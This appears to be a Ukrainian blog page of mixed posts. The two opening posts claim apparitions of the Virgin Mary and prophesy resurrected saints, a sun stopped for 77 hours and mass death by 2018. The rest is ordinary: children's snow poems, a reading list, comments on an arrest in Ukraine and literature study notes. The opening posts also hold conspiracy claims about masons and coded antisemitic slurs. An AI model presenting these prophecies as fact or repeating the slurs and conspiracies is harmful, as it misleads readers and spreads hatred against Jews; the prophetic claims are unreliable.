Христос рождається  ! Славімо Христа ! Щирі вітання й кращі побажання вам дорогі наші патріоти УПА на 2016рік \який починається 14 \1\січня \ та на Різдвяні свята !  Пресвята Богородиця  з Ісусом  недавно пояснили нашим візіонерам що правильно святкувати РІЗДВО Христа 25 грудня   і закінчувати Передріздвяний  піст 24... але ПЕРШИЙ СВЯТвечір в УКРАІНІ й  РІЗДВО\ПРИХІД тайно маленького ІСУСИКА з  Пресвятою  Богородицею та святим Йосипом  до нас в Прикарпаття був 7 січня 2015років тому ...Отже КОЛИ ПРИЙДЕ явно ХРИСТОС ДО НАС ТО БУДЕМО СВЯТКУВАТИ РІЗДВО В ЄРУСАЛИМІ 25 грудня а РІЗДВО в УКРАІНІ 7січня ....БО Ісус народився 25 грудня 2015років тому а 7 січня СВЯТА РОДИНА ТАЙНО прибула на проживання в нас у ПРИКАРПАТТЯ в ТЕ МІСЦЕ де зараз є МАНЯВСЬКИЙ СКИТ .....так ВОНИ ЖИЛИ 11 РОКІВ там і в деяких інших селах ФРАНКІВЩИНИ \ЛЬВІВЩИНИ \ЗАКАРПАТТЯ \ТЕРНОПІЛЛЯ\БУКОВИНИ.... САМЕ тому тут є по дарам СВЯТДУХУ найбільш побожні християни а нас особливо памятають за поміч наших далеких добрих предків =ІСУС з ПРЕЧИСТОЮ БОГОРОДИЦЕЮ та ОБРУЧНИКОМ Йосипом ...ТОЖ МОЛІТЬСЯ ЗА СКОРШЕ 2 ПРИШЕСТЯ БОГА ....ГАРНИХ СВЯТ Й ДОБРИХ БУДНІВ вам ! Є БОЖЕ ПЕРЕДАННЯ ЩО 2 ПРИШЕСТЯ ХРИСТА БУДЕ між 25 грудня і 7 січня або навпаки....між 7 січня й 25 грудня =МНОЖТЕ НАШЕ ВІДЕО Й АГІТУЙТЕ ВІРИТИ В ПРОРОЦТВА УПА
НАДЗВИЧАЙНЕ ПОВІДОМЛЕННЯ 25\12\2015рБ ВСІМ християнам а найперше священикам та журналістам ЗМІ від Пресвятої Богородиці та ІНТЕРНЕТпятірки офіцерів\капеланів УГВР\УПА "СокілДністер" з Франківська = ! МНОЖТЕ ! Слава Богу за все ! Слава Україні ! https://www.youtube.com/watch?v=FDfHYpbdFKU 25 грудня 2015року у пятницю близько 10 години на католицьке свято Різдва Генерал капелан УГВР Голодюк \ДНІСТЕР був на СВЯТІЙ МЕСІ в ХРАМІ УГКЦ Царя Христа що на вулиці Незалежності 181 в Франківську ...Після Святого Причастя він у тім храмі поцілував привезену на пошану Плакучу  мироточиву гіпсову фігурку "МІСТИЧНА ТРОЯНДА " Пресвятої Богородиці яка 20 днів тому вперше заплакала в Косові про що передав 18 грудня вість телеканал "Україна " і досі не зняв відео жоден телеканал ПРИКАРПАТТЯ \бо це тайно боронять масони й ж2\ ...Голодюк в тім ХРАМІ ЦАРЯ ХРИСТА побачив веселкове сяйво і відчув благодаті від фігурки ПРЕСВЯТОЇ Богородиці та з неї йому \В ЧАСІ читання ХРАМОВОЇ МОЛИТВИ сотень вірян УГКЦ "ОТЧЕНАШ "\ явилася ПРЕСВЯТА МАТИ яка передала накази Бога про які він зобовязаний повідомити через інтернет своім прихильникам а вони вже мають передати іх священикам і єпископам УГКЦ ...1) Для довіри Борису Голодюку ЗМІ мають нагадати про нього як про найбільшпопулярного в минулім столітті у Франківську чесного депутата\рухівця який разом з тисячами патріотів УГКЦ\ОУН\УПА\ НРУ в 1990році добився повернення монахам УГКЦ цього храму та побудованого ними приміщення яке комуняки перетворили в кінотеатр імені Максима Горького ...Нагадати що саме в в тім храмі УГКЦ Голодюк взяв шлюб з своєю дружиною Оксаною та там багато Служб БОЖИХ прислуговував його син ЯРОСЛАВ\ТАРАС в час коли йому 7 річному від 25 грудня 1995року почали являтися СИНЕОКИЙ РУСИЙ ХРИСТОС БОГ та кароока Пресвята МАТИ та передавати спасенні Божі вісті та тексти молитв та 21 види розарію\вервичних молитв до Бога і Богородиці та їх апостолів та деяких святих про що письмово до 2001 року від Бориса Голодюка отримували вже святі в небі Єпископи УГКЦ Софрон Дмитерко й Софрон Мудрий та настоятель того храму УГКЦ ЙОСИП ХОЛОД ...який серед десятків інших людей став СВІДКОМ як Голодюк в 1996році БОЖИМ ЧУДОМ порятував ХРЕСТ в притворі того ХРАМУ УГКЦ в тім храмі котрий хотіли вкрасти 4 сатанисти в час вечірньої Богослужби ... 2) Для довіри до Бориса Голодюка показати по ЗМІ відео "Борис Голодюк+Біографія "+"Х хвилин з Борисом Голодюком №65 5 серпня 2015 " \ЗНЯТЕ з небувалими сонячними Богоявами ПЕРЕД СВЯТОМ БОРИСА І ГЛІБА в ДЕНЬ ПРОСЛАВИ Почаівськоі ікони Богородиці на Чукалівському цвинтарі Франківська біля могили його святоі мами Стефанії\Марії яка має воскреснути в новім вічномолодім тілі серед тисячі святих з Кобзарем від небес не там а з ЧУДОХраму що зійде на СОНЦЕполяну біля ІФ СШ 23 на куті вулиць Романа Гурика та Івана Мазепи 90 \ http://allvideoonlain.su/video/DFiX5Z0GPjI 3) ПЕРЕДАТИ НАКАЗ БОГОРОДИЦІ шо її ця ЧУДОфігурка ЯКА ЗАПЛАКАЛА САМЕ в ПРИКАРПАТТІ не має ДО ЧАСУ 2 Пришестя Христа іхати на СХІД в зону антипутінськоі війни а залишатися в тім храмі УГКЦ для позмінних денних і нічних щогодинних молитв СОТЕНЬ ЛЮДЕЙ за СКОРІШЕ ВОСКРЕСІННЯ від НЕБА 357тисяч святих на поміч УКРАІНІ в часі останніх страшних днів яви лжебога який скаже що антихрист Путін має бути царем від нього у Єрусалимі і в Киіві ...4 ) ХРИСТИЯНИ мають кожноі пятниці від 11 до 15 години від того храму УГКЦ в Франківську нести ТУ МЕТРОВУ мироточиву фігурку ПЛАЧУЩОЇ ПРЕСВЯТОІ БОГОРОДИЦІ на місце де був поруйнований комуносатанистами рівно 35років тому найбільший цвинтар в Прикарпатті \позаду облмуздрамтеатру й ГОТЕЛЮ "Надія " та проходити там ДЕ МАЄ БУТИ ЧУДО СХОДЖЕННЯ з небес ДИВОхраму з якого воскресне ІВАН Франко і Миколай Чарнецький та ще 998 святих встановлену у 2008році ХРЕСНУ ДОРОГУ за СОНЯЧНИМ КОЛОМ як це було пропоновано і описано ще в 2011році в інтернеті у статті офіцерів\священників УПА керованих Генералом капеланом УГВР Голодюком\Дністром\Ясновидцем ....Для цього ЧУДОфігурку треба пронести попри місце де має воскреснути Тарас Шевченко й ЙОВ Почаівський й ще 998святих \ де є СШ 23\ вулицями Незалежності\Бандери \Мельника\Сахарова\Гординського\Мазепи \Гурика\ Короля Данила \ Володимира Великого\ Орлика \Галицькій до Головного Храму УГКЦ де фігурку ПРЕСВЯТОЇ Богородиці мають молитовно шанувати в пятницю\суботу \неділю а потім в неділю від 13 до 15 години процесійно повертати Пресвяту Матінку НА 5 ДНІВ в ХРАМ Царя Христа \ НА МАЙЗЛІ ... Божа МАТИ наказала щодня позмінно делегаціями з різних районів та областей з священникам й християнами УГКЦ І УАПЦ\УПЦкп та всіма бажаючими їхати молитися на місця де є 2чудохрести УПА на місці воскресіння з небес КОБЗАРЯ І КАМЕНЯРА .в Франківську ..5) .Якщо так буде зроблено то Бог Отець дасть скоріше спасіння України та зменшить дні терпінь в часі спроб глобалістів зробити в ближчі тижні чіпування людей та створення всесвітнього царства антихриста Путіна та яву лжебога московських попів та інших авантюристів \сектантів та масонсатанистів і іх прихвоснів з різних націй і вір... ТОЙ ХТО СОВІСНО ПОШИРИТЬ ЦЕ ЗВЕРНЕННЯ та спричиниться до того що наказала зробити Пресвята Богородиця буде особливо нагороджений Богом ...а той хто не виконає й осміюватиме це буде особливо покараний Христом ЗА ГЛУПОТУ \НЕВІРСТВО \ ЧВАНСТВО\КОРИСЛИВІСТЬ ... Пресвята Божа Мати передала що на тій МЕТРОВІЙ ГІПСОВІЙ фігурці сині очі які не властиві БОГОРОДИЦІ зміняться на її справжні карі очі та вона засіяє на багато годин так як це бачив кілька хвилин Голодюк 25 грудня....так само засіяє півметрова деревяна фігурка Богородиці "МІСТИЧНА ТРОЯНДА " яка була на свято вервиці 7 жовтня перед святом Покрову й УПА передана 20 років тому в 1995році Голодюку на оберіг його хатини і родини та Франківська й ГАЛИЧИНИ\УКРАІНИ за БОЖИМ СЛОВОМ яке чула християнка УГКЦ Марія Бурка...а поті Борис Голодюк ...Також БОЖА МАТИ закликала християн вірити в БОЖІ ВІСТІ інтернетвідео і статей "ПРОРОЦТВА УПА " та сказала що сіяння фігурок й памятників Бога та Богородиці та свічення Хрестів на ХРАМАХ УГКЦ та ХРЕСТІВ Кобзаря і Каменяра та хрестів на могилах праведників й багатогодинне свічення води ДНІСТРА\БУГА\ДНІПРА й ЧОРНОГО МОРЯ буде скоро або до 14 січня або до 14 червня 2016року САМЕ в ніч перед тим як мають наступного дня воскреснути не з гробів а з небес 357 тисяч святих з 357 ЧУДОхрамів та буде на 77годин зупинене Сонце на якім явиться СОНЦЕЗНАК ХРИСТА й УПА та з якого прийде Христос і Богородиця ....Божа МАТИ нагадала що саме Борис Голодюк 14 червня 2013року опівдні в ДЕНЬ НАРОДЖЕННЯ славного Провідника ОУН Євгена Коновальця та у свято СЕРЦЯ ІСУСА зняв ЧУДОфото Богородиці в Франківську біля плакучої верби над міським озером неподалік місця де має від НЕБАХраму з 999 святими воскреснути Тарас Шевченко ...\ ЦЕ ФОТО є в інтернеті у багатох відео УПА зокрема в найбільш відомім по сотняз тисяч переглядів ЮТУБвідео 2014року " Секрети Христа= Богородиця це та Жінка яка порятує Украіну ! " ....Тож поможімо Богу й БОГОРОДИЦІ щоб якнайкраще сповнити іх накази та дочекатися здійснення мрій наших та воскресіння святих Героів і друзів УПА з небес на спасіння УКРАІНИ ! Всього кращого ВАМ дорогі ХРИСТИЯНИ а особливо нашим воінам які протидіють окупантам і зрадникам та іншим поганам....Слава Богу й Богородиці за все...Слава Героям Бога ... СЛАВА УКРАІНі ! СЛАВА НАЦІЇ !

Джохар Дудаев воскресне з неба в Франківську+Іса Мунаєв в Київі

  • 21.12.15, 20:47
 Слава Ісусу Христу  ! Привіт і кращі побажання на майбуття а особливо у Новий 2016рік  та Різдвяні СВЯТА  надсилаємо щиро всім  патріотам УПА  від ІНТЕРНЕТпятірки  офіцерів\капеланів УГВР з ГАЛИЧИНИ....Просимо  тих хто може  іншими мовами передавати  цю священну радісну вість  задля єдності  християн і  мусульман в світі  яких  зараз умисно хочуть розсварити третьою всевітньою  війною  жи2 й ГЛОБАЛмасони та їх запроданці....Згідно Бібліі =БОГ приготував таке спасення світу що нікому в голову не приходило і більшість людей не повірить спочатку в Божі передання які будуть дані про це в останні дні від Пресвятої Богородиці ...Згідно пророцтв переданих Богом УПА та глави  20 Одкровень Біблії   та Фатімських ПРОРОЦТВ Богородиці 1917року  = з Сонця неба до 2017року в світ воскреснуть не з гробів а з небесних 357ЧУДОметалХРАМІВ \по одній тисячі з кожного\ тільки 357 тисяч БОЖИХ обранців ЯК ХРИСТИЯНИ але ті які в минулім житті були віруючими інших вір...бо БОГ хоче їх родичів і краян навернути до однієї Христової віри ...Пресвята Мати каже ХРИСТИЯНАМ УГКЦ\УПЦкп візіонерам УПА що  тільки ті найбільш добрі люди різних націй які визнають Христа й Богородицю \та готові будуть задля них віддати життя \спасуться до 2018року коли на Землі згідно БОЖИХ ПРОРОЦТВ залишаться жити тільки 357млн найбільшправедних людей ... ОКРІМ всього наш Генерал УГВР Борис  Голодюк і Генерал Ічкеріі Джохар ДУДАЕВ були у 1995році ПЕРШІ В СВІТІ засновники Ради дружби християн і мусульман проти московського зла й у Франківську були перші акції єдності кавказців і карпатців проти КРЕМЛЯ ... Першу  інформпідтримку чеченців  в боротьбі проти момсковських окупантів  та прийняття сімей чеченців в Прикарпапття  зробили саме галичани а особливо рухівці \голодюківці  в перші роки організовувалди час від часу збір коштів  та харчів і одягу  для сімей  чеченських патріотів  котрі з часом виїхали в Європу бо в Украіні  в час КуЧМОкратіі були  випадки тайних убивств які чинили сатанисти з МВДибілів  та КГБсбУродів  ...ГАЛИЧАНИ щиро шанували АНТИМОСКОВСЬКУ БОРОТЬБУ ЧЕЧЕНЦІВ та їх СЛАВНОГО ПРОВІДНИКА ісля умисно зробленої по домовленості масонів США і МОСКВИ \Китаю  смерті Дудаєва в 1996році тоді ж за вимогою ІФРуху й підтримкою депутатів\голодюківців  першу вулицю  імені Джохара назвали в Франківську поруч вулиць Провідників ОУН  Євгена  Коновальця та Степана Бандери  !  Патріоти УПА\ОУН  вже понад  70років свято зберігають  добру традицію  порозуміння і єдності  всіх Божих  людей  з різних націй та вір у боротьбі  з комуносатанистами Москви та їх місцевими запроданцями .... Нагадаємо  що героїчна підтримка патріотами  ІФРуху ОУН\УПА антимосковських дій  кавказців =була в складний  час імперреваншизму коли за це тайно вбивали і калічили тіла й долі людей - адже сумновідомий комунофашист путінЛЕНІНець Петя Сімоненко  в 1999році зайняв 2 місце на президентських виборах... Поруч вулиці  Джохара  Дудаєва  в Франківську  є кращий  в Галичині ХРЕСТ памятник  й музей Степану Бандері  ! Також в Франківську було від 1995\ 2000 року випущено на основі газети УНРуху УПА "Поклик " перші  в світі  10 тисяч примірників 5 номерів  спільної антиімперської бойової газети чеченців і українців "Маршо"\ВОЛЯ..... На Головній управі УНРуху УПА в Франківську \вулиця  НЕЗАЛЕЖНОСТІ 5\  від 4 травня 1995року по 8травня 1998року в центрі Франківська на ВІЧЕВІМ МАЙДАНІ тисячі людей бачили три роки ЄДИНЕ В УКРАІНІ гасло " ВІД ГАЛИЧИНИ до ЧЕЧНІ московським окупантам -  НІ !" Там були  Прапори Ічкерії та Украіни та  СПІЛЬНИЙ наш червоночорний  антиімперський СТЯГ БОРОТЬБИ КОЗАКІВ  й друзів УПА ! Це все було знищено запроданцями ФСБ які під видом Руху чорновірців\костенківців   у травні 1998року \при підтримці  ментів й влади та запроданців в ЗМІ\= вчинили напад на приміщення ОУНців голодюківців \бандерівців та  зайняли ЗДОБУТІ  ГОЛОДУВАНЕННЯМ  й МАСОВИМИ АКЦІЯМИ початку 90 років  приміщення триповерхової ГОЛОВНОЇ ВСЕУКРАІНСЬКОЇ УПРАВИ  УНРуху \ Молодіжного Товариства " Сокіл+Пласт+СІЧ+" +" Трудівничого Товариства "Солідарність " та інших структур громадського ІФРуху а також захопили гроші\ майно\відео і ауді\відеоапаратуру \автомобілі  та інші цінності надбані ІФРухом ОУН  від 1989р  ...й запустили  в ті приміщення корисливих бізнесменів\різнопартіців а серед них навіть  соціалістів ... Б.Голодюку  й прихильним до нього нескореним  патріотам ІФРуху УПА вдалося  відбити в нападників освячені Богом по всій Украіні від 1995року Головні Прапори УНР та МТ "СОКІЛ +" та головну печать ІФРуху  без якоі  ніхто з влади  немав права передавати ті приміщення в аренду іншим організаціям та все це було злочинно знехтувано...Тоді  був для дезорієнтації людей а особливо для блокади коштів діаспори та обріхування створеного в 1995році Українського Націоналістичного Руху \голодюківців \=був  створений у 1999 році лжеУкрНародний Рух Костенка який потім став УНПартією..й від  нього мером Франківська на початку нового тисячоліття став  лукавий жмасон В.Анушкевіч а  перед цим у грудні 1998року  ІФміськвиконком на догоду КГБанді Київа\Москви  всупереч законодавству й Статуту ІФРуху \1990р\ зареєстрував цю лжеорганізацію "ІФМОНРУ" як правонаступницю ІФРуху хоч вона  зреклася СВЯЩЕННОГО ЧЕНРВОНОЧОРНОГО СТЯГУ ОУН\УПА та   Богом даного печатного СОНЦЕзнаку ІФРуху  ОУН ..  Проте від тоді досі в  Бориса Голодюка залишилася  як в законного Голови ІФРуху ОУН й Провідника УНРуху УПА  вироблена ще в 1993році печатка з цим священним символом який є в правому кутку майже тисячі  ЮТУБвідео КАНАЛУ " SOKILDNISТЕR" +УПА  ....Ці всі  жахливі  злочини в кінці 90 років проти   ІФРуху ОУН голодюківців  при мовчанні  заляканоі і пригодованої преси  та ЗМІ робилися усякими негідниками за юдині срібняки що давала ж2 Москви тоді в час КУЧМОвлади бажаючи підло  розпалити громадянську війну між різнопартійними  лібералами і та позапартійними націоналістами  в Галичині = та тоді  УНРух за БОЖИМ НАКАЗОМ був 100% у своїм членстві \так як в часи ЯВНОІ ОКУПАЦІЇ СССР \ совісно утаємнений до часу 2 Пришестя Христа.... Славний Іса Минаєв був наш давній ТАЙНИЙ друг УНРуху  УПА а в інтернеті ЯВНИЙ ПОЧЕСНИЙ Друг УПА з 2011року ..Вісті про те що ІСА Мунаєв так як Кузьма СКРЯБІН воскресне не з гробу а з небес в Київі  там де  арка ДРУЖБИ НАРОДІВ  неподалік  Майдану передала у лютому 2015року ПРЕСВЯТА Богородиця й про це є відео УПА !   Відомо   що Генерали УГВР  Джохар  Дудаєв\  Іван Франко\ Роман Шухевич та Володимир Висоцький воскреснуть на вид 30річні у безсмертномолодих нових тілах разом з 995іншим святими та славним єпископом УГКЦ  Миколаєм Чарнецьким з небесХРАМУ в  Франківську  в меморіальному сквері  позаду встановленого в 1995році памятника Франка виплавленого з металу найбільшого в Галичині  ідола сатаниста Леніна  знятого  тисячами патріотів УПА у 1990році  під керівництвом  Голови ІФРуху Голодюка біля  готелю "Надія "... Це  відомо християнам  по мережі ОУН\УПА ще  з 2006року  від Пресвятої  Богородиці  на основі Божих пророцтв зібраних  ще за попередні 500років був тоді ж затверджений \на свято УПА й Покрову \Третій Універсал УГВР  й від 2010року  інфи про це  дала наша ІНТЕРНЕТпятірка офіцерів\капеланів  Генерала УГВР Дністра\Голодюка в статтях й відео ПРОРОЦТВ УПА \ось одне з них \ГУГЛіть "Молись до Хрестів Кобзаря і Каменяра " +"Не з гробу воскреснуть Франко\Шухевич...! 
Час покаже що це все БОЖА ПРАВДА !  Всього кращого вам дорогі наші патріоти  УПА на майбуття ! Борімося ! Поборемо ! Героям слава ! Богородиця каже візіонерам УПА що скоро  Христос Бог  прийде   з воскреслими від  небес  Джохаром  Дудаєвим \Ісою Мунаєвим  й  Тарасом Шевченком  та  Степаном Бандерою і 200тисячами  святих в Україну  ....ВІРТЕ Й МНОЖТЕ !  Разом переможемо ! БОГ ПОМОЖЕ https://www.youtube.com/watch?v=NLf4bGmsCfc  Щасливо !Слава УКРАЇНІ ! Слава Ічкерії ! СМЕРТЬ АНТИХРИСТУ ПУТІНУ та всім потворам зла  !

10 найкращих віршів про сніг

Ось вже й зима в календарі 

та мало свята  на дворі

давайте звати білий сніг

щоб він прийшов аж на поріг .

Holiday Boom прикрашаємо свято.  Давайте створювати новорічну атмосферу разом. Якщо чогось забракло ми завжди можемо це додати самотужки, прикрасивши дім. Ще й згадавши новорічні вірші нашого дитинства. 

У добірці, звичано, не всі твори про сніг, написані українскими класиками , але вважаю найкраші з нашого дитинства. Щось вчили в садку, а щось в школі. І коли захотілося в середені грудня по-спражньому зимового настрою, багато з цих віршів згадалися самі собою. Бо вони прості і водночас ніжні, написані з любовью до життя.

А відкриває добірку незабутній Андрій Малишко і його "Білі мухи" - отже поїхали: 




1

Білі мухи

Білі мухи налетіли, –
Все подвір’я стало біле.
Не злічити білих мух,
Що летять, неначе пух.
– Галю, Петрику, Кіндрате,
Годі, ледарі, вам спати! –
І побігли до санчат
Галя, Петрик і Кіндрат.
Всі з гори летять щодуху,
Щоб впіймати білу муху,
А санчата їм усім
Змайстрував старий Максим.

Андрій Малишко.

"Сипле сніг" 
Сипле, сипле, сипле сніг. 
Мов метелики сріблисті, 
Сніжинки біленькі, чисті 
Тихо стеляться до ніг. 
Сипле, сипле, сипле сніг. 
Сипле, сипле, сипле сніг. 
Тихо, легко і спроквола 
Покриває все довкола, 
Ні стежок, ані доріг...
Сипле, сипле, сипле сніг. 
Сипле, сипле, сипле сніг. 
Все присипав – доли, гори, 
Вже ввесь світ – мов біле море, 
Біле море без доріг. 
Сипле, сипле, сипле сніг.  

Іван Франко


3

Зима

Одяглися люди в шуби,
натопили тепло груби.
Білки гріються в дуплі,
миші в норах у землі.
Сплять ведмеді в теплих лігвах,
сосни в інею застигли.
І під кригою на дні
сплять у річці окуні.
А під снігом в підземеллі,
в земляній м’якій постелі,
де немає світла дня,
причаїлося зерня.
Там не холодно зернинці –
спить вона, мов на перинці,
й тихо снить хороші сни
про веселі дні весни.

Наталія Забіла


Два плюс два

Мені на долоню
Злетіли з хмаринки
Дві білі сніжинки
І ще дві сніжинки.
А разом виходить
Якась дивина –
А разом виходить
Краплина одна!

Анатолій Качан


5

Зимонька 

Зимонько, голубонько
В білім кожушку,
Любимо ми бігати
По твоїм сніжку.
Всім рум’яниш личенька
Ти о цій порі
І ладнаєш ковзанки
В нашому дворі.

Любов Забашта

"Вранці біля хати" 

Вранці біля хати 
Малесенькі сліди – 
Зайчатко вухате 
Приходило сюди. 
Стояло біля хати, 
Ступило на поріг – 
Хотіло нам сказати, 
Що випав перший сніг. 

Леонід  Куліш-Зіньків 


7

Сніжинки

Пролітають біленькі сніжинки
І сріблясто на сонці блищать.
Мамо, мамо, чому я сніжинки
Не умію ніяк упіймать?
Вже здається, що ніби й спіймаю,
А відкрию долоню: нема!
Лиш водичка з долоні стікає.
Лиш водичка в долоні сама.
Каже мама здивовано доні:
– А чи знаєш, чому це так є?
Бо у тебе тепленька лодоня,
А сніжок від тепла розтає.
І помислила доня хвилинку,
Рукавичку наділа свою.
– Мамо, – каже, – тепер я сніжинку
Вже напевно, напевно, зловлю!

Світлана Кузьменко

8

Веселий сніг

Падав сніг,
Падав сніг –
Для усіх, усіх, усіх,
І дорослих, і малих,
І веселих, і сумних.
Всім, хто гордо носа ніс,
Він тихцем сідав на ніс.
А роззяві, як на сміх,
Залетів до рота сніг.
Вереді за комір вліз
І довів його до сліз.
А веселі грали в сніжки –
Сніг сідав їм на усмішки
І сміявся з усіма:
– Ой, зима, зима, зима!


Оксана Санатович

9

"Сніг іде" 
Тихо, тихо сніг іде, 
Білий сніг, лапатий, 
Ми у двір скоріш підем, 
Візьмемо лопати. 
Ми прокинем зранку 
Стежку біля ганку, 
Вийде мама з хати 
І почне питати: 
- Хто ж це так доріжку 
Вміє прокидати? 

Марія Познанська 



і на останок не забуваємо що саме сніг приносить нам святковий новорічний настрій: 

10

НОВОРІЧНА НЕСКІНЧЕННА

Білий снігу, сніженьку, 
Простели доріженьку 
Від хати до хати — 
Новий Рік стрічати.

Ми зустріть зуміємо 
Танцями і співами, 
Бо живем щасливо, 
Всій землі на диво.

Круг ялинки станемо, 
На ялинку глянемо, 
Руки всі сплетемо, 
Знову заведемо:

Білий снігу, сніженьку, 
Простели доріженьку...
Максим  Рильський



Що варто прочитати з української літератури

Українські книжки, які варто прочитати громадянину України

«Кобзар» - Тарас Шевченко
«Чорна рада» - Пантелеймон Куліш
«Гайдамаки» - Юрій Мушкетик
«Зачарована Десна» - Олександр Довженко 
«Енеїда» - Іван Котляревський
«Лісова пісня» - Леся Українка
«Кайдашева сім'я» - Іван Нечуй-Левицький
«Роксолана» - Павло Загребельний
«Маруся Чурай» - Ліна Костенко
«Хіба ревуть воли, як ясла повні?» -Панас Мирний
"Захар Беркут» - Іван Франко
«Записки українського самашедшего» - Ліна Костенко
«Солодка Даруся» - Марія Матіос
«Залишенець. Чорний ворон» - Василь Шкляр
«Холодний Яр» - Юрій Горліс-Горський
«Байки Харківські» - Григорій Сковорода
«Марія» - Улас Самчук
«Історія українського козацтва» - Валерій Смолій
«Жовтий князь» - Василь Барка
«Новели та гуморески» - Василь Симоненко
«Московіада» - Юрій Андрухович
«Тигролови» - Іван Багряний 
«Сад Гетсиманський» - Іван Багряний
«Українська Повстанська Армія» - Володимир Вятрович, Ігор Дерев'яний
«Бояриня» - Леся Українка
«Ворошиловград» - Сергій Жадан
«Нація» - Марія Матіос
«Украинский национализм: ликбез для русских» - Кирило Галушко
«Поезія» - Василь Стус
«Історія України-Руси» - Михайло Грушевський
«Україна в огні» - Олександр Довженко
«25 перемог України» - Олександр Палій
«БотакЄ» - Тарас Прохасько
«Історія Русів — вічна книга української незалежності» - Автор невідомий
«Століття Якова» - Володимир Лис
«Український національний рух 40-50-х рр.» - Юрій Киричук
«Вічник» - Мирослав Дочинець
«Оповідання» - Василь Стефаник
«Дванадцять обручів» - Юрій Андрухович
«Музей покинутих секретів» - Оксана Забужко
«Краса і сила» - Володимир Винниченко
«Лексикон інтимних міст» - Юрій Андрухович
«Теплі історії до кави» - Надія Гербіш
«Вся наша історія – це музей похованих секретів» - Оксана Забужко
«Танго смерті» - Юрій Вінничук
«Людолови» - Зінаїда Тулуб
«Notre Dame d'Ukraine: Українка в конфлікті міфологій» - Оксана Забужко
«Козацькому роду нема переводу, або Козак Мамай та чужа молодиця» - Олександр Ільченко
«Богдан Хмельницький» - Валерій Смолій, Валерій Степанков
«Геополітичні орієнтири нової України» - Юрій Липа
«Призначення України» - Юрій Липа
«Самостійна Україна» - Микола Міхновський
«Червоний» - Андрій Кокотюха
«Многії літа. Благії літа» - Мирослав Дочинець
«Зоряний Корсар» - Олесь Бердник
«Чорна Пантера і Білий Медвідь» - Володимир Винниченко
«Мальва Ланда» - Юрій Винничук
«Ментальність орди» - Евген Гуцало
«Московська воша» - Симон Петлюра
«Країна Моксель або Московія» - Володимир Білінський
«Діва-Обида» - Ігор Римарук
«Таємний посол» - Володимир Малик
«Українці: витоки та історичні долі» - Леонід Залізняк
«Володарі гетьманської булави: Історичні портрети» - редакція Олексія Дмитренко
«Петро Дорошенко» - - Валерій Смолій, Валерій Степанков
«Україна today: під прапором сталінізму» - Сергій Грабовський
«Майже ніколи не навпаки» - Марія Матіос
«Дефіляда в Москві» - Василь Кожелянко
«Тема для медитації» - Леонід Кононович
«БОТ» - Макс Кідрук
«Хронос» - Тарас Антипович
«Піца Гімалаї» - Ірена Карпа
«Апостолові Петру. Автопортрет альтер его» - Юрій Іллєнко
«Я повертаю Україні те, що в неї викрадено» - Раїса Іванченко
«Вільний спосіб життя. Незнищенна традиція воїнів-охоронців Краю та споконвічні принципи самоорганізації українців» - Олександр Косуха
«Брама Безсмертя» - Юрій Шилов
«Таємниці Єви» - Богдан Коломийчук
«Криничар» - Мирослав Дочинець
«Мед з дікалоном» - Юрій Камаєв
«Рівне/Ровно» - Олександр Ірванець
«Про українську пісню й музику» - Олександр Кошиць
«Білий кречет» - Володимир Шовкошитний
«Дзвоник» - Борис Грінченко


Блогосфера про сьогодення

  • 02.11.15, 21:33
Pavlo Nuss: Процесс прямой #деолигархизации запущен.
Спецоперация по задержанию Геннадия Корбана проходит в рамках ликвидация организованной преступной группировки в Днепропетровской области.
О преступлениях этого, и других персонажей, следствию было известно давно. Убедительные доказательства о взрывах, хищениях людей, заказных убийств, махинациях в бизнесе, банковской сфере, рейдерских захватов предприятий, и, вероятно, о хищениях денежных средств в размере десятки, а возможно и сотни миллионов предназначенных для сил антитеррора (АТО) и ВСУ – также имелось, как у СБУ, так и у ГПУ.
Но. Ввиду того, что Геннадий Корбан и члены его группы были задействованы в политический процесс через механизм участия в избирательной кампании в Чернигове, Киеве, Днепропетровске, силовики не могли активировать операцию по ликвидации ОПГ.
Теперь для общественности стает понятней ситуация с неожиданным появлением Корбана и Ко на политической арене страны, так как в нашей стране, к сожалению, политика и участие в ней спасает криминал от ответственности.

Выборы прошли, и у СБУ, МВД, ГПУ есть мотив, основания и необходимые полномочия для ликвидации ОПГ по всей стране.

Yevgen Chukhniy: "Всі знають" - не факт, тим більше не доказ в суді.
Арест Корбана поднял больше шума, чем в свое время арест Аль Капоне.
Кстати, Аль Капоне был арестован 17 октября 1931 г. И арестовали его не за грабежи и убийства, не за рекет, и сделали это не агенты ФБР или полиция.
Он был арестован агентами налоговой службы, а если быть более точным, то агентами СВН (Службы внутренних сборов), которая в течение пяти лет собирала данные на Аль Капоне и, в конце концов, склонила к сотрудничеству бухгалтера, благодаря которому удалось собрать достаточно улик, чтобы иметь возможность предъявить обвинение гангстеру.
У нас шумят - почему тот не сидит, почему это не сидит, ведь все знают, что он преступник.
Но суду недостаточно такого доказательства - ВСЕ ЗНАЮТ.
Знать и доказать - это разные вещи. Дело Аль Капоне - убедительный пример.

«Історична правда»: Іван Франко тричі брав участь у виборах до сейму і програвав вибори через селян, які продали голоси за ковбасу

Псевдоніми

  • 22.10.15, 23:33
Псевдоніми: 
Іван Багряний (Іван Лозов’ягін) 
Іван Карпенко-Карий (Іван Тобілевич) 
Леся Українка (Лариса Косач-Квітка) 
Марко Вовчок (Марія Вілінська) 
Микола Хвильовий (Микола Фітільов) 
Олександр Олесь (Олександр Кандиба) 
Остап Вишня (Павло Губенко) 
Панас Мирний (Панас Рудченко) 

Присвяти: 
М.Коцюбинський – «Intermezzo» (Кононівським полям) 
Т.Шевченко – «Кавказ» (іскрєннєму моєму Якову де Бальмену) 
«Гайдамаки» (Григоровичу на пам'ять 22.04.1838) 
«Катерина» (Жуковському) 
М.Хвильовий – «Я (Романтика)» («Цвітові яблуні») 
Г.Тютюнник – «Три зозулі з поклоном» (Любові всевишній) 

Празька школа: Євген Маланюк 
Шістдесятники: Василь Симоненко, Іван Драч, Григір Тютюнник, Ліна Костенко 
Письменники-емігранти: І. Багряний, Є. Маланюк, У. Самчук, В. Барка, Т. Осмачка, О. Олесь 
Дисиденти: Василь Стус 

Стопи: двоскладові: хорей ( U — ); ямб ( — U ); спондей ( — — ); пірихій ( U U ) 
трискладові: дактиль ( — U U ); амфібрахій ( U — U ); анапест ( U U — ) 

Види лірики: 
1) громадянська (політична) – опис подій суспільно-політичного життя; оспівування відомих історичних осіб, виявлення патріотичного почуття, любов до Батьківщини; 
2) філософська – відображення проблем буття людини та суспільства (життя і смерть, любов і ненависть, призначення людини у світі); 
3) пейзажна – роздуми і почуття поета, викликані картинами та явищами природи; 
4) інтимна – переживання героя, пов’язані з його особистим життям. 

Цитати: 
Іван Вишенський 
